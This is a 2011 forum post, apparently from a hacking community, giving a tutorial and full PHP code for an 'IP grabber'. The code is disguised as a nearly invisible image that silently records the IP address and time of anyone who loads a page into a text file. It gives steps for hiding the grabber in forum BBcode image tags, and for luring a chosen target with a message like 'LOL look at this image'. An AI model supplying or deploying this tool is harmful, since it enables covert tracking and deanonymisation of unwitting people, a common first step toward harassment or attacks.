This is a tutorial on how to make your own PHP IP grabber. What you can do with this is post the url to where the grabber is located wrapped in [ IMG ] tags on most forums that accept BBcode. The image is nearly invisible // easy to hide due to the fact that it shows only an approx 2 x 2 px blank box. Like this Below
The Box will then LOG the IP of anyone who loads the page that it's posted on and it will be written to a txt file on your host.
// But if you want to target someone to get their IP there is the alternate Image technique which will work with the code i provide. You will have a HTML page with an Image on with, ( any image you wish ). You give the person who's IP you want the link with the image and tell them something like " LOL look at this image " . As soon as the page is loaded their IP is written to your Txt file on the host.
How to Setup
You will need to create ONE file on your host with the code below in it.
Name it Image.php or Index.php // or anything you wish.
Where you see "@%@%@%@%@%@%@%@%@%" in the code replace that with the URL to the image you wish to get people to view for the second technique.Code:<html><head> <title>Image</title> </head><body> <img src="@%@%@%@%@%@%@%@%@%"> <?php $ip = $_SERVER['REMOTE_ADDR']; $time = date("Y-m-d G:i:s A"); $text = "".$time." => ".$ip.""; $file = fopen('xxloglist.txt' , 'a'); fwrite($file,$text."\n"); fclose($file); ?> <br> </body></html>
If you want to post the blank image wrap the URL where your index.php file is in IMG tags.
If you want to target one person using the second image technique just provide them the URL to the index.php file.
Your IP Logs will be written to a file called xxloglist.txt unless you change the write file in the code
Questions // Concerns ..just ask.
Thank the Post <3
Results 1 to 11 of 11
Threaded View
- 10 Oct. 2011 12:18am #1
Global Moderator Glamorous
- Join Date
- Apr. 2011
- Location
- 192.168.2.1
- Posts
- 990
- Reputation
- 584
- LCash
- 0.25
- Awards
PHP IP Grabber // Image Technique
Last edited by XiRaX; 10 Oct. 2011 at 07:00am.